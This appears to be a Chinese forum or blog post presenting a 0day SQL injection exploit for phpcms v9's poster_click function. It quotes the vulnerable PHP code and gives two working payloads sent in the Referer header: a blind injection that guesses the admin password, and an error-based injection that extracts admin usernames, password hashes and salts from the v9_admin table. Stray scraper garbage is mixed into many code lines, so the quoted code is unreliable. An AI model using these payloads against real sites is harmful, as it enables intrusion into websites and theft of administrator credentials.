phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

( p( K" ]. s; B0 X问题函数\phpcms\modules\poster\index.php

; V9 _) u4 C% G; q/ h8 j) P+ Xpublic function poster_click() {
7 T4 G5 Z6 _8 u0 K$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
& B" e, d: I* t6 V4 A$r = $this->db->get_one(array('id'=>$id));
5 w$ U2 ]3 J( `$ K5 W6 D/ Dif (!is_array($r) && empty($r)) return false;
( A" J$ E" ?3 d4 k) |5 Q$ip_area = pc_base::load_sys_class('ip_area');
8 C9 R! y. |2 n9 `9 M$ip = ip();
( ]$ [7 ^$ Y) x4 I1 O. [$area = $ip_area->get($ip);
0 h6 \; N: L+ n( L6 j$username = param::get_cookie('username') ? param::get_cookie('username') : '';
8 y* l& ~0 Z4 U0 _' L- L- h8 oif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
/ c. h# z* i- t$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
5 R2 O+ X4 ^6 x3 I0 b4 U0 Y# I$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
2 ?: h# [9 Z) c6 m# ^, A" M$url = $setting['1']['linkurl'];
; @+ [+ j! ], G+ j& P} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
$ t) s- m3 f$ e* w# T9 rheader('Location: '.$url);
1 B* B, h& E$ S- J7 V}


1 _1 w. a& s' V
利用方式：

1、可以采用盲注入的手法：
+ P/ S9 }8 N- ?: K* c4 v/ q& t
9 f3 P7 v, w& s5 N. \referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
* v. Y5 _6 [; n0 a; `
通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

: Z: k6 E4 _5 q. |" P1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
